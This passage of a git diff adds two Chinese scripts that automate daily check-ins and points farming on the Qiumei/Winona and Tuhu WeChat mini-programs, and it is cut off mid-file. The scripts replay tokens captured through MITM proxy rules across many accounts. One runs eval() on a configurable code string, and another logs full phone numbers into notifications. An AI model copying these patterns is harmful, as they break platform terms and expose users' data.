b/脚本库/微信小程序/抓包版/逑美_薇诺娜专柜小程序/2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js new file mode 100644 index 0000000..0d3785f --- /dev/null +++ b/脚本库/微信小程序/抓包版/逑美_薇诺娜专柜小程序/2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js @@ -0,0 +1,263 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%91%E7%BE%8EAnd%E8%96%87%E8%AF%BA%E5%A8%9C%E4%B8%93%E6%9F%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%91%E7%BE%8EAnd%E8%96%87%E8%AF%BA%E5%A8%9C%E4%B8%93%E6%9F%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Repo: jdqlscript/toulu +// # Path: 逑美And薇诺娜专柜小程序.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 5e1421f703c649d97b345bae34bcb0dc104d9f509911575d3cd2a1aff7de206e +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: SMALLFAWN +@Date: 2024.06.10 13:34 +@Description: 逑美小程序&薇诺娜专柜商城(薇诺娜旗下小程序) +------------------------------------------ +变量名qiumei_weinuona +变量值 逑美小程序https://api.qiumeiapp.com/common-activity 域名下POST请求体 Body中appUserToken的值 + 薇诺娜专柜商城小程序https://api.qiumeiapp.com/zg-activity/ 域名下POST请求体 Body中appUserToken的值 + 两个值用#连接 多账号&或换行或新建同名变量 + +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("逑美/薇诺娜专柜小程序"); +let ckName = `qiumei_weinuona`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user.split(strSplitor)[0] + $.token1 = user.split(strSplitor)[1] + $.ckStatus = false; + $.batchCode = null + await getWmcMemberInfo() + + if ($.ckStatus) { + await getSigninBatch() + if ($.batchCode) { + await getUserSigninInfo() + + } + } + if($.token1){ + await userSignin1() + } + + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function userSignin() { + + let config = { + url: "https://api.qiumeiapp.com/common-activity/signin/userSignin", + method: "POST", + headers: { + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + 'Referer': 'https://servicewechat.com/wx30cc0fb02a84eb74/215/page-frame.html', + 'Referrer-Policy': 'unsafe-url' + }, + data: JSON.stringify({ + appUserToken: $.token, + batchCode: $.batchCode + }) + } + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`签到成功[${result.data.prizeName}]`) + } else { + $.log(`签到失败[${result.msg}]`) + } +} +async function userSignin1() { + + let config = { + url: "https://api.qiumeiapp.com/zg-activity/zg-daily/zgSigninNew", + method: "POST", + headers: { + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + 'Referer': 'https://servicewechat.com/wx250394ab3f680bfa/554/page-frame.html', + 'Referrer-Policy': 'unsafe-url' + }, + data: JSON.stringify({ + appUserToken: $.token1, + }) + } + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`薇诺娜专柜/ 签到成功`) + } else { + $.log(`薇诺娜专柜/ 签到失败[${result.msg}]`) + } +} +async function getUserSigninInfo() { + + let config = { + url: "https://api.qiumeiapp.com/common-activity/signin/getUserSigninInfo", + method: "POST", + headers: { + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + 'Referer': 'https://servicewechat.com/wx30cc0fb02a84eb74/215/page-frame.html', + 'Referrer-Policy': 'unsafe-url' + }, + data: JSON.stringify({ + appUserToken: $.token, + batchCode: $.batchCode + }) + } + let { data: result } = await Request(config) + if (result?.code == 200) { + if (result.data.runningDays !== 1) { + $.log(`未签到 ===> 签到ing`) + await userSignin() + } else { + $.log(`已签到 ===> 跳过签到`) + } + } else { + $.log(`获取签到信息失败[${result.msg}]`) + } +} +async function getWmcMemberInfo() { + let config = { + url: "https://api.qiumeiapp.com/qmxcx/10001/getWmcMemberInfo", + method: "POST", + headers: { + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + 'Referer': 'https://servicewechat.com/wx30cc0fb02a84eb74/215/page-frame.html', + 'Referrer-Policy': 'unsafe-url' + }, + data: JSON.stringify({ + appUserToken: $.token, + }) + } + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`[${result.data.mobile}] 积分[${result.data.winonaPoint}}]`) + $.ckStatus = true + } else { + $.log(`获取用户信息失败[${result.msg}]`) + } +} +async function getSigninBatch() { + + let config = { + url: "https://api.qiumeiapp.com/common-activity/signin/getSigninBatch", + method: "POST", + headers: { + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + 'Referer': 'https://servicewechat.com/wx30cc0fb02a84eb74/215/page-frame.html', + 'Referrer-Policy': 'unsafe-url' + }, + data: JSON.stringify({ + appId: "wmcenter-1b60-11e8-98b9-7cd30ae08066" + }) + } + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`本次签到batchCode为[${result.data.signinBatchCode}]`) + $.batchCode = result.data.signinBatchCode + } else { + $.log(`获取签到batchCode失败[${result.msg}]`) + } +} + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/途虎养车/2025-06-28_途虎养车_d3128030.js b/脚本库/微信小程序/抓包版/途虎养车/2025-06-28_途虎养车_d3128030.js new file mode 100644 index 0000000..9eed8a8 --- /dev/null +++ b/脚本库/微信小程序/抓包版/途虎养车/2025-06-28_途虎养车_d3128030.js @@ -0,0 +1,421 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%94%E8%99%8E%E5%85%BB%E8%BD%A6.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%94%E8%99%8E%E5%85%BB%E8%BD%A6.js +// # Repo: jdqlscript/toulu +// # Path: 途虎养车.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: d3128030e3756abb59fe0bb9fac09461b847ac31e054a809dad720520b23f2fb +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + +TL库 +QQ频道:https://pd.qq.com/s/672fku8ge +tg频道:https://t.me/TLtoulu + * 脚本名称:途虎养车 + * 活动规则:每日签到可获取积分奖励 + * 脚本说明:添加重写进入途虎养车小程序积分页面即可获取 Token,支持多账号,兼容 NE / Node.js 环境。 + * 环境变量:TUHU_TOKEN、TUHU_BLACKBOX / CODESERVER_ADDRESS、CODESERVER_FUN、TUHU_BLACKBOX +======================================================================================================== +cron: 12 8 * * * +更新cron +青龙环境变量:TUHU_TOKEN、TUHU_BLACKBOX ,可以随便填( CODESERVER_ADDRESS、CODESERVER_FUN) +api.tuhu.cn域名下 TUHU_TOKEN不要 Bearer 不要空格 ck比较长 个把月都不会变 +TUHU_BLACKBOX只有7天 +======================================================================================================== + +------------------ Surge 配置 ----------------- + +[MITM] +hostname = api.tuhu.cn + +[Script] +途虎养车 = type=cron,cronexp=17 7 * * *,timeout=60,script-path=https://www.tuhu.cn/cn/home/default/FoKit/Scripts/main/scripts/tuhu.js,script-update-interval=0 + +------------------ Loon 配置 ------------------ + +[MITM] +hostname = api.tuhu.cn + +[Script] +cron "17 7 * * *" script-path=https://www.tuhu.cn/cn/home/default/FoKit/Scripts/main/scripts/tuhu.js,tag = 途虎养车,enable=true + +-------------- Quantumult X 配置 -------------- + +[MITM] +hostname = api.tuhu.cn + +[rewrite_local] +https:\/\/api\.tuhu\.cn\/User\/GetInternalCenterInfo url script-request-header https://www.tuhu.cn/cn/home/default/FoKit/Scripts/main/scripts/tuhu.js + +[task_local] +------------------ Stash 配置 ----------------- + +cron: + script: + - name: 途虎养车 + cron: '17 7 * * *' + timeout: 10 + +http: + mitm: + - "api.tuhu.cn" + script: + - match: https:\/\/api\.tuhu\.cn\/User\/GetInternalCenterInfo + name: 途虎养车 + type: request + require-body: false + +script-providers: + 途虎养车: + url: https://www.tuhu.cn/cn/home/default/FoKit/Scripts/main/scripts/tuhu.js + interval: 86400 + + */ + +const $ = new Env('途虎养车'); +// $.is_debug = ($.isNode() ? process.env['IS_DEDUG'] : $.getdata('is_debug')) || 'true'; // 调试模式 +$.is_debug = 'false'; // 调试模式 +//$.token = ($.isNode() ? process.env['TUHU_TOKEN'] : $.getdata('tuhu_token')) || ''; // Token +//$.blackbox = ($.isNode() ? process.env['TUHU_BLACKBOX'] : $.getdata('tuhu_blackbox')) || 'kMPSQ1710898198mf9JVT5oKB5'; // blackbox +//$.tokenArr = $.toObj($.token) || []; +let token = ($.isNode() ? process.env['TUHU_TOKEN'] : $.getdata('tuhu_token')) || '', tokenArr = []; // Token +let blackbox = ($.isNode() ? process.env['TUHU_BLACKBOX'] : $.getdata('tuhu_blackbox')) || '', blackboxArr = []; // blackbox + +$.appid = 'wx27d20205249c56a3'; // 小程序 appId +$.messages = []; + +// 检查变量 +async function checkEnv() { + // 多账号分割 + tokenArr = token.split('@'); + blackboxArr = blackbox.split('@'); + + // 当下标0为空字符串也会占用长度,所以需判断是否为空字符串 + if (tokenArr[0]) { + console.log(`\n检测到 ${tokenArr.length} 个账号变量\n`); + return tokenArr.length; + } else { + console.log(`\n检测到 0 个账号变量\n`); + return 0; + } +} +// 主函数 +async function main() { + // 获取微信 Code + //await getWxCode(); + checkEnv(); + for (let i = 0; i < tokenArr.length; i++) { + // 初始化 + $.token = tokenArr[i]; + $.blackbox = blackboxArr[i]; + + // $.wx_code = $.codeList[i]; + + // 获取 Token + //await getToken(); + // 把新的 Token 添加到 $.tokenArr + //$.token && $.tokenArr.push($.token); + } + + if (tokenArr.length) { + // $.log(`找到 ${$.tokenArr.length} 个 Token 变量 ✅`); + for (let i = 0; i < tokenArr.length; i++) { + $.log(`----- 账号 [${i + 1}] 开始执行 -----`); + // 初始化 + $.mobile = ''; + $.nickname = ''; + $.is_login = true; + $.token = tokenArr[i].startsWith('Bearer ') ? tokenArr[i] : 'Bearer ' + tokenArr[i]; // 补充 Bearer + + // 用户信息 + await whoami(); + + if (!$.is_login) continue; // 无效 token 跳出 + + // 每日签到 + const taskMap = [ + { "name": "APP ", "url": "" }, + { "name": "小程序", "url": "?channel=wxapp" } + ] + for (item of taskMap) { + await checkin(item['url'], item['name']); + } + + // 用户积分 + await getIntegral(); + } + $.log(`----- 所有账号执行完成 -----`); + } else { + throw new Error('未找到 Token 变量 ❌'); + } +} + +// 获取 Token +async function getToken() { + // 构造请求 + const options = { + url: `https://cl-gateway.tuhu.cn/cl-user-auth-login/login/authSilentSign`, + headers: { + 'Content-Type': 'application/json', + 'channel': `wechat-miniprogram` + }, + body: $.toStr({ + channel: "WXAPP", + code: $.wx_code + }) + } + + // 发起请求 + const result = await Request(options) + if (result?.code == "10000") { + const { mobile, userSession, userId, userName, nickName } = result.data; + $.token = userSession; + $.log(`✅ 成功获取 Token`); + } else { + $.log(`❌ 获取 Token 失败: ${$.toStr(result)}`); + } +} + + +// 获取用户信息 +async function whoami() { + let msg = '' + // 构造请求 + const options = { + url: `https://cl-gateway.tuhu.cn/cl-user-info-site/userAccount/getCurrentUserInfo`, + headers: { + 'Authorization': $.token, + 'authType': 'oauth', + 'Content-Type': 'application/json' + }, + body: `{}` + } + + // 发起请求 + const result = await Request(options); + if (result?.code == 10000 && result?.data) { + const { nickName, mobile } = result.data; + msg += `\n用户: ${nickName} [${hideSensitiveData(mobile, 3, 4)}]`; + } else if (/token无效/.test($.toStr(result))) { + $.is_login = false; + msg += `${$.toStr(result)} ❌`; + } else { + $.log($.toStr(result)); + } + $.messages.push(msg), $.log(msg); +} + + +// 每日签到 +async function checkin(suffix, name) { + let msg = ''; + // 构造请求 + let opt = { + url: `https://api.tuhu.cn/user/UserCheckInVersion1${suffix}`, + headers: { + 'Authorization': $.token, + 'Content-Type': 'application/json', + 'blackbox': $.blackbox + } + }; + + var result = await Request(opt); + if (result?.Code == 1) { + msg += `${name}签到成功, 积分 +${result.AddIntegral}, 连续签到: ${result.NeedDays}/7天 ✅`; + } else { + msg += `${name}签到失败, ${result?.Message || $.toStr(result)}`; + } + + $.messages.push(msg), $.log(msg); +} + +// 获取用户积分 +async function getIntegral() { + let msg = '' + // 构造请求 + const options = { + url: `https://api.tuhu.cn/User/GetPersonalCenterQuantity`, + headers: { + 'Authorization': $.token, + 'Content-Type': 'application/json' + } + } + + // 发起请求 + const result = await Request(options); + if (result?.Code == 1) { + msg += `当前积分: ${result.IntegralNumber} 分, 可抵现: ${result.IntegralNumber / 100} 元`; + } else { + msg += `❌ 积分查询失败`; + } + $.messages.push(msg), $.log(msg); +} + +// 脚本执行入口 +if (typeof $request !== `undefined`) { + GetCookie(); + $.done(); +} else { + !(async () => { + await main(); // 主函数 + })() + .catch((e) => $.messages.push(e.message || e) && $.logErr(e)) + .finally(async () => { + await sendMsg($.messages.join('\n').trimStart().trimEnd()); // 推送通知 + $.done(); + }) +} + + +// 获取签到数据 +function GetCookie() { + try { + debug($request.headers); + const headers = ObjectKeys2LowerCase($request.headers); + $.newToken = headers['authorization']; + headers['blackbox'] && $.setdata(headers['blackbox'], 'tuhu_blackbox'), $.log(`blackbox: ${headers['blackbox']}`); // 更新 blackbox + if (/User\/GetInternalCenterInfo/.test($request.url) && !new RegExp($.newToken).test($.token)) { + $.tokenArr.push($.newToken); + $.log(`开始新增用户数据 ${$.newToken}`); + $.setdata($.toStr($.tokenArr), 'tuhu_token'); + $.msg($.name, ``, `Token 获取成功。🎉`); + } else { + $.log(`无需更新 Token: ${$.newToken}`); + } + } catch (e) { + $.log("❌ 签到数据获取失败"), $.log(e); + } +} + + +// 获取微信 Code +async function getWxCode() { + try { + $.codeList = []; + $.codeServer = ($.isNode() ? process.env["CODESERVER_ADDRESS"] : $.getdata("@codeServer.address")) || ''; + $.codeFuc = ($.isNode() ? process.env["CODESERVER_FUN"] : $.getdata("@codeServer.fun")) || ''; + if (!$.codeServer) return $.log(`⚠️ 未配置微信 Code Server。`); + + $.codeList = ($.codeFuc + ? (eval($.codeFuc), await WxCode($.appid)) + : (await Request(`${$.codeServer}/?wxappid=${$.appid}`))?.split("|")) + .filter(item => item.length === 32); + $.log(`♻️ 获取到 ${$.codeList.length} 个微信 Code:\n${$.codeList}`); + } catch (e) { + $.logErr(`❌ 获取微信 Code 失败!`); + } +} + + +/** + * 数据脱敏 + * @param {string} string - 传入字符串 + * @param {number} head_length - 前缀展示字符数,默认为 2 + * @param {number} foot_length - 后缀展示字符数,默认为 2 + * @returns {string} - 返回字符串 + */ +function hideSensitiveData(string, head_length = 2, foot_length = 2) { + try { + let star = ''; + for (var i = 0; i < string.length - head_length - foot_length; i++) { + star += '*'; + } + return string.substring(0, head_length) + star + string.substring(string.length - foot_length); + } catch (e) { + return string; + } +} + + +/** + * 对象属性转小写 + * @param {object} obj - 传入 $request.headers + * @returns {object} 返回转换后的对象 + */ +function ObjectKeys2LowerCase(obj) { + const _lower = Object.fromEntries(Object.entries(obj).map(([k, v]) => [k.toLowerCase(), v])) + return new Proxy(_lower, { + get: function (target, propKey, receiver) { + return Reflect.get(target, propKey.toLowerCase(), receiver) + }, + set: function (target, propKey, value, receiver) { + return Reflect.set(target, propKey.toLowerCase(), value, receiver) + } + }) +} + + +/** + * 请求函数二次封装 + * @param {(object|string)} options - 构造请求内容,可传入对象或 Url + * @returns {(object|string)} - 根据 options['respType'] 传入的 {status|headers|rawBody} 返回对象或字符串,默认为 body + */ +async function Request(options) { + try { + options = options.url ? options : { url: options }; + const _method = options?._method || ('body' in options ? 'post' : 'get'); + const _respType = options?._respType || 'body'; + const _timeout = options?._timeout || 15e3; + const _http = [ + new Promise((_, reject) => setTimeout(() => reject(`❌ 请求超时:${options['url']}`), _timeout)), + new Promise((resolve, reject) => { + debug(options, '[Request]'); + $[_method.toLowerCase()](options, (error, response, data) => { + debug(response, '[response]'); + error && $.log($.toStr(error)); + if (_respType !== 'all') { + resolve($.toObj(response?.[_respType], response?.[_respType])); + } else { + resolve(response); + } + }) + }) + ]; + return await Promise.race(_http); + } catch (err) { + $.logErr(err); + } +} + + +// 发送消息 +async function sendMsg(message) { + if (!message) return; + try { + if ($.isNode()) { + try { + var notify = require('./sendNotify'); + } catch (e) { + var notify = require('./utils/sendNotify'); + } + await notify.sendNotify($.name, message); + } else { + $.msg($.name, '', message); + } + } catch (e) { + $.log(`\n\n----- ${$.name} -----\n${message}`); + } +} + + +/** + * DEBUG + * @param {*} content - 传入内容 + * @param {*} title - 标题 + */ +function debug(content, title = "debug") { + let start = `\n----- ${title} -----\n`; + let end = `\n----- ${$.time('HH:mm:ss')} -----\n`; + if ($.is_debug === 'true') { + if (typeof content == "string") { + $.log(start + content + end); + } else if (typeof content == "object") { + $.log(start + $.toStr(content) + end); + } + } +} + +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), t.params && (t.url += "?" + this.queryStr(t.params)), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, 